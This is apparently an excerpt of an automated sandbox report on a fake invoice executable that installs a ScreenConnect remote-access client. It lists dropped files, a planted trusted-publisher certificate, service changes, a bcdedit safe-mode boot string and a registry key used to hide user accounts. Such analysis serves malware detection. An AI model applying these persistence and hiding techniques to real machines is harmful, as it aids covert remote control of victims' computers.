Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: dwrite.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: wintypes.dll
Source: C:\Users\user\Desktop\E_BILL9926378035.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00020420-0000-0000-C000-000000000046}\InprocServer32 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Settings Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll Jump to behavior
Source: E_BILL9926378035.exe Static PE information: certificate valid
Source: E_BILL9926378035.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: E_BILL9926378035.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: E_BILL9926378035.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: E_BILL9926378035.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: E_BILL9926378035.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: E_BILL9926378035.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
Source: E_BILL9926378035.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Source: E_BILL9926378035.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Binary string: C:\builds\cc\cwcontrol\Product\WindowsFileManager\obj\Release\ScreenConnect.WindowsFileManager.pdb source: ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\Client\obj\Release\net20\ScreenConnect.Client.pdbU source: dfsvc.exe, 00000001.00000002.2591740664.000001F6B60E0000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2591740664.000001F6B60C8000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2591740664.000001F6B5D5E000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000009.00000002.1933686059.0000000002CF2000.00000002.00000001.01000000.00000011.sdmp, ScreenConnect.Client.dll.1.dr, ScreenConnect.Client.dll0.1.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\ClickOnceRunner\Release\ClickOnceRunner.pdb source: E_BILL9926378035.exe
Source: Binary string: C:\builds\cc\cwcontrol\Product\ClientService\obj\Release\ScreenConnect.ClientService.pdb source: dfsvc.exe, 00000001.00000002.2591740664.000001F6B5D5A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2591740664.000001F6B60E0000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2591740664.000001F6B60C4000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 0000000A.00000002.1932338060.0000000004EF2000.00000002.00000001.01000000.0000000E.sdmp, ScreenConnect.WindowsClient.exe, 0000000C.00000002.1990094462.0000000002641000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 0000000C.00000002.1989776192.0000000000C20000.00000004.08000000.00040000.00000000.sdmp, ScreenConnect.ClientService.dll.1.dr, ScreenConnect.ClientService.dll0.1.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\WindowsClient\obj\Release\ScreenConnect.WindowsClient.pdbe source: ScreenConnect.WindowsClient.exe, 00000009.00000000.1916214053.0000000000AC2000.00000002.00000001.01000000.0000000C.sdmp, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr
Source: Binary string: C:\Users\jmorgan\Source\cwcontrol\Custom\DotNetRunner\Release\DotNetServiceRunner.pdb source: ScreenConnect.ClientService.exe, 0000000A.00000000.1921269571.0000000000C9D000.00000002.00000001.01000000.0000000D.sdmp, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\Windows\obj\Release\net20\ScreenConnect.Windows.pdb source: dfsvc.exe, 00000001.00000002.2591740664.000001F6B60E0000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2591740664.000001F6B60C0000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2591740664.000001F6B5D56000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000009.00000002.1935970610.000000001BD52000.00000002.00000001.01000000.00000010.sdmp, ScreenConnect.Windows.dll0.1.dr, ScreenConnect.Windows.dll.1.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\WindowsBackstageShell\obj\Release\ScreenConnect.WindowsBackstageShell.pdb source: ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\WindowsClient\obj\Release\ScreenConnect.WindowsClient.pdb source: ScreenConnect.WindowsClient.exe, 00000009.00000000.1916214053.0000000000AC2000.00000002.00000001.01000000.0000000C.sdmp, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\Windows\obj\Release\net20\ScreenConnect.Windows.pdbW] source: dfsvc.exe, 00000001.00000002.2591740664.000001F6B60E0000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2591740664.000001F6B60C0000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2591740664.000001F6B5D56000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000009.00000002.1935970610.000000001BD52000.00000002.00000001.01000000.00000010.sdmp, ScreenConnect.Windows.dll0.1.dr, ScreenConnect.Windows.dll.1.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\Client\obj\Release\net20\ScreenConnect.Client.pdb source: dfsvc.exe, 00000001.00000002.2591740664.000001F6B60E0000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2591740664.000001F6B60C8000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2591740664.000001F6B5D5E000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000009.00000002.1933686059.0000000002CF2000.00000002.00000001.01000000.00000011.sdmp, ScreenConnect.Client.dll.1.dr, ScreenConnect.Client.dll0.1.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\Core\obj\Release\net20\ScreenConnect.Core.pdb source: dfsvc.exe, 00000001.00000002.2591740664.000001F6B5D4E000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 0000000A.00000002.1932439482.0000000004FA2000.00000002.00000001.01000000.0000000F.sdmp, ScreenConnect.Core.dll.1.dr, ScreenConnect.Core.dll0.1.dr
Source: E_BILL9926378035.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: E_BILL9926378035.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: E_BILL9926378035.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: E_BILL9926378035.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: E_BILL9926378035.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata
Binary contains a suspicious time stamp
Source: ScreenConnect.WindowsFileManager.exe.1.dr Static PE information: 0xBBA7DA50 [Mon Oct 7 02:49:52 2069 UTC]
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\E_BILL9926378035.exe Code function: 0_2_00EF1000 LocalAlloc,LocalAlloc,GetModuleFileNameW,CertOpenSystemStoreA,LocalAlloc,LocalAlloc,CryptQueryObject,LocalFree,CryptMsgGetParam,CryptMsgGetParam,LocalAlloc,LocalAlloc,CryptMsgGetParam,CertCreateCertificateContext,CertAddCertificateContextToStore,CertFreeCertificateContext,LocalFree,CryptMsgGetParam,LocalFree,LocalFree,CryptMsgGetParam,CryptMsgGetParam,CertFindAttribute,CertFindAttribute,CertFindAttribute,LoadLibraryA,GetProcAddress,Sleep,CertDeleteCertificateFromStore,CertDeleteCertificateFromStore,CertCloseStore,LocalFree,LocalFree,LocalFree, 0_2_00EF1000
PE file contains an invalid checksum
Source: E_BILL9926378035.exe Static PE information: real checksum: 0x1bda6 should be: 0x1e679
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\E_BILL9926378035.exe Code function: 0_2_00EF1BC0 push ecx; ret 0_2_00EF1BD3
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 1_2_00007FFD9B77D2A5 pushad ; iretd 1_2_00007FFD9B77D2A6
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 1_2_00007FFD9B8B5E3E push cs; retf 1_2_00007FFD9B8B5E3F
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 1_2_00007FFD9B8A8D61 push 8B495CB5h; iretd 1_2_00007FFD9B8A8D6C
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 1_2_00007FFD9B897D00 push eax; retf 1_2_00007FFD9B897D1D
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 1_2_00007FFD9B89842E pushad ; ret 1_2_00007FFD9B89845D
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 1_2_00007FFD9B8900BD pushad ; iretd 1_2_00007FFD9B8900C1
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 1_2_00007FFD9B89845E push eax; ret 1_2_00007FFD9B89846D
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 9_2_00007FFD9B894162 push eax; ret 9_2_00007FFD9B894163
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 9_2_00007FFD9B8930BA push eax; iretd 9_2_00007FFD9B8930BB
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 9_2_00007FFD9B89401A push eax; iretd 9_2_00007FFD9B89401B
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 9_2_00007FFD9B892FDA pushad ; retf 9_2_00007FFD9B892FDB
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 9_2_00007FFD9B893F3A pushad ; retf 9_2_00007FFD9B893F3B
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 9_2_00007FFD9B892E18 push eax; ret 9_2_00007FFD9B892E7B
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 12_2_00007FFD9BBA7F7A push ebx; retn FD9Bh 12_2_00007FFD9BBA7FEA
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 12_2_00007FFD9BBA1449 push ecx; iretd 12_2_00007FFD9BBA144A
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 12_2_00007FFD9BBA13ED push edx; iretd 12_2_00007FFD9BBA13EE
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 12_2_00007FFD9BBA9C1B push ss; ret 12_2_00007FFD9BBA9C1C
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 12_2_00007FFD9BBA1391 push edx; iretd 12_2_00007FFD9BBA1392
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 12_2_00007FFD9BBA9321 push ss; ret 12_2_00007FFD9BBA9322
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 12_2_00007FFD9BBA127D push ebx; iretd 12_2_00007FFD9BBA127E
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 12_2_00007FFD9BBA1199 push esp; iretd 12_2_00007FFD9BBA119A
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 12_2_00007FFD9BBAB136 push edx; ret 12_2_00007FFD9BBAB137
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 12_2_00007FFD9BBAB0ED push ecx; ret 12_2_00007FFD9BBAB0EE
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 12_2_00007FFD9BBA58A7 push ss; iretd 12_2_00007FFD9BBA58B5
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 12_2_00007FFD9BBA781D push cs; ret 12_2_00007FFD9BBA7822
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 12_2_00007FFD9BBA7824 push cs; ret 12_2_00007FFD9BBA782C
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 12_2_00007FFD9BBA782E push cs; ret 12_2_00007FFD9BBA7822
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 12_2_00007FFD9BBA776C push es; ret 12_2_00007FFD9BBA779A
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 12_2_00007FFD9BBA775C push es; ret 12_2_00007FFD9BBA779A
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 12_2_00007FFD9BBA9624 push ebx; ret 12_2_00007FFD9BBA9632
Drops PE files
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Temp\Deployment\D4CKD0XW.3MP\NK1E9WBX.DD7\ScreenConnect.WindowsFileManager.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Temp\Deployment\D4CKD0XW.3MP\NK1E9WBX.DD7\ScreenConnect.Core.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..ient_4b14c015c87c1ad8_0018.0002_none_ea2694ec2482770a\ScreenConnect.Client.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Temp\Deployment\D4CKD0XW.3MP\NK1E9WBX.DD7\ScreenConnect.WindowsClient.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..dows_4b14c015c87c1ad8_0018.0002_none_58890efb51813436\ScreenConnect.Windows.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Temp\Deployment\D4CKD0XW.3MP\NK1E9WBX.DD7\ScreenConnect.ClientService.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.WindowsFileManager.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..vice_4b14c015c87c1ad8_0018.0002_none_0564cf62aaf28471\ScreenConnect.ClientService.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..ient_4b14c015c87c1ad8_0018.0002_none_b558103dfe170413\ScreenConnect.WindowsClient.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Temp\Deployment\D4CKD0XW.3MP\NK1E9WBX.DD7\ScreenConnect.WindowsBackstageShell.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Temp\Deployment\D4CKD0XW.3MP\NK1E9WBX.DD7\ScreenConnect.Client.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Temp\Deployment\D4CKD0XW.3MP\NK1E9WBX.DD7\ScreenConnect.ClientService.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Temp\Deployment\D4CKD0XW.3MP\NK1E9WBX.DD7\ScreenConnect.Windows.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.WindowsBackstageShell.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.ClientService.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..core_4b14c015c87c1ad8_0018.0002_none_5411371a15332106\ScreenConnect.Core.dll Jump to dropped file
May use bcdedit to modify the Windows boot settings
Source: ScreenConnect.ClientService.dll.1.dr Binary or memory string: bcdedit.exeg/copy {current} /d "Reboot and Reconnect Safe Mode"7{.{8}-.{4}-.{4}-.{4}-.{12}}
Source: ScreenConnect.ClientService.dll0.1.dr Binary or memory string: bcdedit.exeg/copy {current} /d "Reboot and Reconnect Safe Mode"7{.{8}-.{4}-.{4}-.{4}-.{12}}
Creates or modifies windows services
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Application
Modifies existing windows services
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Registry key value modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (89e470af-f42d-4b2f-ad1d-717711c7c76a)

Hooking and other Techniques for Hiding and Protection
barindex
Contains functionality to hide user accounts
Source: ScreenConnect.WindowsClient.exe, 00000009.00000002.1935970610.000000001BD52000.00000002.00000001.01000000.00000010.sdmp String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: ScreenConnect.ClientService.exe, 0000000A.00000002.1932338060.0000000004EF2000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
Source: ScreenConnect.WindowsClient.exe, 0000000C.00000002.1990094462.0000000002641000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
Source: ScreenConnect.WindowsClient.exe, 0000000C.00000002.1989776192.0000000000C20000.00000004.08000000.00040000.00000000.sdmp String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
Source: ScreenConnect.ClientService.dll.1.dr String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
Source: ScreenConnect.Windows.dll0.1.dr String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: ScreenConnect.ClientService.dll0.1.dr String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
Source: ScreenConnect.Windows.dll.1.dr String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Stores large binary data to the registry
Source: C:\Users\user\Desktop\E_BILL9926378035.exe Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C Blob Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
